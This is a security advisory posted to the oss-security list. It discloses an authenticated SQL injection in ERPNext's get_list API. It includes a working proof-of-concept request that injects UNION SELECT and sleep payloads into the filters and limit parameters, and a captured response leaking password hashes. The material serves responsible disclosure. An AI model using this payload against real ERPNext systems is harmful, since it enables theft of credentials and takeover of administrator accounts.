oss-security - Trovent Security Advisory 2103-01 / Authenticated SQL injection in ERPNext 13.0.0/12.18.0

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Date: Tue, 11 May 2021 11:45:56 +0000
From: Stefan Pietsch <s.pietsch@...vent.io>
To: "fulldisclosure@...lists.org" <fulldisclosure@...lists.org>, "oss-security@...ts.openwall.com" <oss-security@...ts.openwall.com>, "submissions@...ketstormsecurity.com" <submissions@...ketstormsecurity.com>
Subject: Trovent Security Advisory 2103-01 / Authenticated SQL injection in ERPNext 13.0.0/12.18.0

# Trovent Security Advisory 2103-01 #
#####################################


Authenticated SQL injection in ERPNext 13.0.0/12.18.0
#####################################################


Overview
########

Advisory ID: TRSA-2103-01
Advisory version: 1.0
Advisory status: Public
Advisory URL: https://trovent.io/security-advisory-2103-01
Affected product: ERPNext
Tested versions: 12.18.0 and 13.0.0 beta
Vendor: Frappé Technologies https://frappe.io
Credits: Trovent Security GmbH, Nick Decker, Stefan Pietsch


Detailed description
####################

Trovent Security GmbH discovered an SQL Injection vulnerability
in the "frappe.model.db_query.get_list" API endpoint.
On version 13.0.0 valid credentials without any privileges are sufficient
but on version 12.18.0 at least "system_user" privileges are required.
The vulnerable parameter "filters" allows injection of SQL statements.
An attacker is able to query all available database tables to retrieve
usernames, password hashes or password reset tokens which can then be used
to reset administrator passwords.


Severity: High
CVSS Score: 8.8 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)
CWE ID: 89
CVE ID: TBD


Proof of concept
################

Sample request made with a non system account to retrieve password hashes:

REQUEST:

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~


GET /api/method/frappe.model.db_query.get_list?filters=%7b%22name%20UNION%20SELECT%20password%20from%20%60__Auth%60%20--%20%22%3a%20%22administrator%22%7d&fields=%5b%22name%22%5d&doctype=User&limit=20'%3b%20do%20sleep(10)&order_by=name&_=1615372773071 HTTP/1.1
Host: erpnext.local
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: application/json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Frappe-CSRF-Token: 0e89c5c43898da856fe12e19a57991d7bdf380477d0354f93ce6bcf3
X-Frappe-CMD:
X-Frappe-Doctype: Dashboard%20Settings
X-Requested-With: XMLHttpRequest
Connection: close
Referer: http://erpnext.local/app/website
Cookie: io=NVosyhHCvV3KdkxNAAi7; sid=26f7ddefef642c0f88b9babfc26b751229c32b565304f30815d8ec22; system_user=no; full_name=auth%20test%27; user_id=auth%40trovent.io; user_image=


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~



RESPONSE:

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~


HTTP/1.1 200 OK
Server: nginx/1.19.7
Date: Wed, 10 Mar 2021 16:04:40 GMT
Content-Type: application/json
Connection: close
Vary: Accept-Encoding
Set-Cookie: sid=26f7ddefef642c0f88b9babfc26b751229c32b565304f30815d8ec22; Expires=Sat, 13-Mar-2021 16:04:40 GMT; HttpOnly; Path=/; SameSite=Lax
Set-Cookie: system_user=no; Path=/; SameSite=Lax
Set-Cookie: full_name=auth%20test%27; Path=/; SameSite=Lax
Set-Cookie: user_id=auth%40trovent.io; Path=/; SameSite=Lax
Set-Cookie: user_image=; Path=/; SameSite=Lax
X-Frame-Options: SAMEORIGIN
Strict-Transport-Security: max-age=63072000; includeSubDomains; preload
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Content-Length: 719

{"message":[{"name":"$pbkdf2-sha256$29000$0fofo/SeE0IoRQgh5HyvVQ$IuyDVu5v4Hc4Z7Pe/3Tvpim7AdhbYrI9b9XXL39/tVU"},{"name":"$pbkdf2-sha256$29000$1vqfk3KO0ZqT8n7vvff.nw$A9a6k9wbegrw5QUiJ/jj1.kXCr.lwRSJtv5S7QTCQgU"},{"name":"$pbkdf2-sha256$29000$aA2B8P7/X.vd./.fM6aUkg$JluCIXXrUgKxTUwvRyveCRIDjJ0mhhoG9Cs6onAO2Do"},{"name":"$pbkdf2-sha256$29000$CSFEKCVEqPVe611rrdVayw$pFf/iBuprNIdZ4DoJadro0UUNaffy.2v5EbAe4Nbxco"},{"name":"$pbkdf2-sha256$29000$L2WMkdLaG2NM6V3rnXMOAQ$snURvXF1kNTGA7Zux.HLoQ5JISRajyOBiAZ1VDjEJnc"},{"name":"$pbkdf2-sha256$29000$r/UeQ.id0/rfm9M6Z4yR8g$1w/oAvTRNJ7wKuSHgZ.4jkDHQAvLLYxerzYeHpd1IV8"},{"name":"gAAAAABgP1dTiYpJ67JyyUjytcay4XmKoOuyf_jAke7slDwL4gIM5lCWCbu6SjYOPOX6WigAm0fZzGgTEIiXNCA_yPZI64ijmA=="}]}


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~


Solution / Workaround
#####################

To mitigate this vulnerability, we recommend to limit access to the affected API endpoint.
As a permanent solution it is recommended not to insert user input directly into SQL queries.


History
#######

2021-03-10: Vulnerability found
2021-03-11: Advisory created and vendor contacted
2021-03-22: Vendor replied that they request CVE IDs after a fix is released
2021-04-19: Vendor informed about planned disclosure date (2021-05-11)
2021-05-03: Vendor contacted, asking for status
2021-05-07: No reply from vendor, vendor contacted again
2021-05-11: Advisory published


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